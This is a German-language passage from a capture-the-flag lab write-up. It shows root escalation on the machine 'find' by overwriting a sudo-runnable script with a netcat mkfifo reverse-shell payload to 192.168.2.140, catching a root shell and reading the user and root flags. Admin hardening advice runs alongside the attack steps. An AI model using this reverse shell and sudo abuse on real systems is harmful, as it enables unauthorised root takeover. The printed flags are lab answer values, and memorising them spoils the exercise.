Empfehlung (Admin): Dies ist eine klassische Fehlkonfiguration für `sudo`. Einem Benutzer zu erlauben, ein Skript als `root` auszuführen, ist nur sicher, wenn der Benutzer absolut keine Schreibrechte auf das Skript oder dessen Verzeichnis hat und das Skript selbst keine Schwachstellen enthält (z.B. unsichere Verwendung von Umgebungsvariablen, relative Pfade). Entfernen Sie diese Regel oder stellen Sie sicher, dass `kings` keinerlei Schreibrechte auf `/opt/boom/boom.sh` hat.

kings@find:~$ sudo -l
Matching Defaults entries for kings on find:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kings may run the following commands on find:
    (ALL) NOPASSWD: /opt/boom/boom.sh
                     
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
kings@find:~$ export TERM=xterm
kings@find:~$

Proof of Concept (kings -> root via boom.sh Modification)

Kurzbeschreibung: Dieser Proof of Concept zeigt, wie die `sudo`-Regel, die `kings` erlaubt, `/opt/boom/boom.sh` als `root` auszuführen, ausgenutzt wird, indem der Inhalt des Skripts mit einer Reverse-Shell-Payload überschrieben wird.

Voraussetzungen: * Zugriff als Benutzer `kings`. * Die `sudo`-Regel `(ALL) NOPASSWD: /opt/boom/boom.sh` muss aktiv sein. * Der Benutzer `kings` muss Schreibrechte auf die Datei `/opt/boom/boom.sh` oder das Verzeichnis `/opt/boom` haben. * Ein Listener (`netcat`) auf dem Angreifer-System (IP `192.168.2.140`, Port `1234`).

Schritt 1: Vorbereitung des Exploits
1. `cd /opt/boom`: Wechsel in das Verzeichnis, das das Skript enthält. 2. `mkdir Boom`: Erstellt ein Unterverzeichnis (Zweck unklar, möglicherweise irrelevant für den Exploit). 3. `vi boom.sh`: Öffnet das Skript `/opt/boom/boom.sh` im Editor `vi`. Der Pentester löscht den ursprünglichen Inhalt und fügt eine Standard-Reverse-Shell-Payload ein: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.140 1234 >/tmp/f`. Diese Payload stellt eine Verbindung zur Angreifer-IP `192.168.2.140` auf Port `1234` her. Die Datei wird gespeichert. 4. `nc -lvvp 1234`: Auf dem Angreifer-System wird ein `netcat`-Listener gestartet, um die eingehende Verbindung zu empfangen (`-vv` für sehr ausführliche Ausgabe).

Bewertung (Schritt 1): Die Vorbereitung ist korrekt. Das Überschreiben des Skripts, das per `sudo` als `root` ausgeführt werden kann, ist der zentrale Schritt. Die Reverse-Shell-Payload ist Standard. Der Listener wartet auf die Verbindung.

Empfehlung (Pentester): Stellen Sie sicher, dass der Listener läuft, bevor Sie das Skript ausführen. Überprüfen Sie die IP und den Port in der Payload.
Empfehlung (Admin): Dies zeigt die Gefahr der unsicheren `sudo`-Regel in Kombination mit Schreibrechten. Die Regel muss entfernt werden, und die Berechtigungen auf `/opt/boom` und `/opt/boom/boom.sh` müssen überprüft und ggf. korrigiert werden.

kings@find:~$ cd /opt/boom
kings@find:/opt/boom$ mkdir Boom
kings@find:/opt/boom$ vi boom.sh
# Inhalt von boom.sh wird ersetzt durch:
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.140 1234 >/tmp/f
# Datei wird gespeichert (:wq in vi)
                    
┌──(root㉿cyber)-[~] └─# nc -lvvp 1234
listening on [any] 1234 ...

Schritt 2: Ausführen des modifizierten Skripts
Der Benutzer `kings` führt nun das modifizierte Skript mittels `sudo` aus: `sudo -u root /opt/boom/boom.sh`. Da die `sudo`-Regel `NOPASSWD` enthält, ist keine Passworteingabe erforderlich.

Bewertung (Schritt 2): Das Skript wird als `root` ausgeführt. Die darin enthaltene Reverse-Shell-Payload wird ausgeführt und verbindet sich zum Listener des Angreifers. Der Listener zeigt die eingehende Verbindung an. Der Befehl `id` in der neuen Shell bestätigt `uid=0(root)`. Fantastisch, die Root-Eskalation war erfolgreich!

Empfehlung (Pentester): Root-Zugriff erreicht! Sammeln Sie die Root-Flag (`cat /root/root.txt`), dokumentieren Sie den Pfad und führen Sie ggf. weitere Post-Exploitation-Aufgaben durch.
Empfehlung (Admin): **Höchste Priorität:** System kompromittiert. Folgen Sie den Notfallplänen. Entfernen Sie die unsichere `sudo`-Regel. Stellen Sie das originale `boom.sh` wieder her (falls es eine legitime Funktion hatte) und korrigieren Sie die Berechtigungen. Überprüfen Sie das System auf weitere Kompromittierungen.

Risikobewertung: Die Kombination aus Steganographie (zum Finden des initialen Benutzernamens), schwachem Passwort, einer unsicheren `sudo`-Regel für `perl` und einer weiteren unsicheren `sudo`-Regel für ein beschreibbares Skript ermöglichte die vollständige Übernahme des Systems. Das Risiko ist **kritisch**.

kings@find:/opt/boom$ sudo -u root /opt/boom/boom.sh
DNS fwd/rev mismatch: find != find.speedport.ip
connect to [192.168.2.140] from find [192.168.2.119] 39096
                     
# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Analyse: Nach Erlangung der Root-Rechte werden die User- und Root-Flags aus den entsprechenden Dateien gelesen. Die User-Flag wurde bereits als Benutzer `kings` gelesen, die Root-Flag wird nun als `root` gelesen.

Bewertung: Beide Flags werden erfolgreich ausgelesen.

# cat /home/kings/user.txt
f4e690f638c01bd8a19fb1349d40519c
# cd /root
# cat root.txt
c8aaf0f3189e000006c305bbfcbeb790
cat /home/kings/user.txt
f4e690f638c01bd8a19fb1349d40519c
cat /root/root.txt
c8aaf0f3189e000006c305bbfcbeb790